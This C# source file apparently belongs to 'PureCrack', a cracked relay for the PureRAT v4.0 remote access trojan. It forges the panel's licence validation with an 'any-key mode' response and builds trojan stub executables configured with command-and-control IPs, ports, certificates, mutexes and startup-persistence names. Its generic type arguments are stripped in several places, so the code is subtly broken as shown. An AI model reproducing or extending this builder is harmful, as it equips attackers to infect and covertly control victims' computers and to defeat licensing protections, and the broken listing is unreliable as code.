using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using PureCrack.Build; using PureCrack.Util; using PureCrack.Wire; namespace PureCrack.Relay; public sealed class RouteHandlers { private sealed class BuildSettings { public List Ips { get; init; } = new List(); public List Ports { get; init; } = new List(); public string? CertBase64 { get; init; } public string? Group { get; init; } public string? PanelPfxBase64 { get; init; } public string? StartupName { get; init; } public string? StartupEnv { get; init; } public string? Mutex { get; init; } } private readonly byte[] _cannedCompile; public byte[] ValidatePb { get; } public RouteHandlers(byte[] agentPfxBytes, byte[] cannedCompileResponse) { ValidatePb = BuildValidateResponse(agentPfxBytes); _cannedCompile = cannedCompileResponse; } private static byte[] BuildValidateResponse(byte[] agentPfxBytes) { string s = Convert.ToBase64String(agentPfxBytes); byte[] body = ProtoNet.FSub(7, ProtoNet.FString(2, s)); byte[] body2 = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FString(3, ""), ProtoNet.FString(5, ""), ProtoNet.FString(7, "PureRAT v4.0 - any-key mode"), ProtoNet.FString(9, "Welcome!"), ProtoNet.FSub(10, body), ProtoNet.FString(11, "HWID Changes: 1 of 9999 used"), ProtoNet.FString(12, ""), ProtoNet.FString(13, "Expires in 9999 days")); return ProtoNet.FSub(2, body2); } public byte[] Compile(byte[]? plaintext, bool dynamicBuildEnabled) { if (plaintext != null && dynamicBuildEnabled) { try { byte[] array = BuildDynamic(plaintext); if (array != null) { return array; } } catch (Exception ex) { Log.Err("dyn-build failed: " + ex.Message); } Log.Warn("falling back to canned /compile response"); } return _cannedCompile; } private static byte[]? BuildDynamic(byte[] plaintext) { BuildSettings buildSettings = ExtractBuildSettings(plaintext); if (buildSettings.Ips.Count == 0 || buildSettings.Ports.Count == 0) { Log.Warn("dyn-build: panel did not include IPs/Ports — using canned"); return null; } string text = ((!string.IsNullOrEmpty(buildSettings.PanelPfxBase64)) ? buildSettings.PanelPfxBase64 : buildSettings.CertBase64); BuildConfig buildConfig = new BuildConfig { Ips = buildSettings.Ips, Ports = buildSettings.Ports, CertPfxBase64 = (text ?? ""), Group = (buildSettings.Group ?? "Default"), Mutex = (buildSettings.Mutex ?? "purecrack-default"), StartupName = (buildSettings.StartupName ?? ""), StartupEnv = (buildSettings.StartupEnv ?? "") }; Log.Info("dyn-build: ips=[" + string.Join(",", buildConfig.Ips) + "] ports=[" + string.Join(",", buildConfig.Ports) + "] group=" + buildConfig.Group + " mutex=" + buildConfig.Mutex); byte[] array = StubBuilder.Build(buildConfig); string arg = DateTime.Now.ToString("yyyyMMdd_HHmmss"); string text2 = Path.Combine(Workspace.StubsDir, $"stub_{arg}_{Process.GetCurrentProcess().Id}.exe"); File.WriteAllBytes(text2, array); Log.Ok($"dyn-build: wrote {array.Length:N0}b stub to {text2}"); byte[] body = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FBytes(3, array), ProtoNet.FString(5, ""), ProtoNet.FInt(6, 1L)); return ProtoNet.FSub(4, body); } private static BuildSettings ExtractBuildSettings(byte[] plaintext) { BuildSettings result = new BuildSettings(); try { byte[] array = ProtoNet.FirstSub(ProtoNet.Parse(plaintext), 3); if (array == null) { return result; } byte[] array2 = ProtoNet.FirstSub(ProtoNet.Parse(array), 5); if (array2 == null) { return result; } byte[] array3 = ProtoNet.FirstSub(ProtoNet.Parse(array2), 9); if (array3 == null) { return result; } Dictionary> parsed = ProtoNet.Parse(array3); return new BuildSettings { Ips = ProtoNet.GetStrings(parsed, 1), Ports = ConvertToInts(ProtoNet.GetInts(parsed, 2)), CertBase64 = ProtoNet.FirstString(parsed, 3), Group = ProtoNet.FirstString(parsed, 4, "Default"), PanelPfxBase64 = ProtoNet.FirstString(parsed, 10), StartupName = ProtoNet.FirstString(parsed, 11), StartupEnv = ProtoNet.FirstString(parsed, 12), Mutex = ProtoNet.FirstString(parsed, 14, "purecrack-default") }; } catch (Exception ex) { Log.Warn("extract: parse err: " + ex.Message); return result; } } private static List ConvertToInts(List longs) { List list = new List(longs.Count); foreach (long @long in longs) { list.Add((int)@long); } return list; } public static byte[] AckResponse() { return ProtoNet.FSub(2, ProtoNet.FInt(1, 1L)); } private static byte[] Concat(params byte[][] chunks) { int num = 0; byte[][] array = chunks; foreach (byte[] array2 in array) { num += array2.Length; } byte[] array3 = new byte[num]; int num2 = 0; array = chunks; foreach (byte[] array4 in array) { Buffer.BlockCopy(array4, 0, array3, num2, array4.Length); num2 += array4.Length; } return array3; } }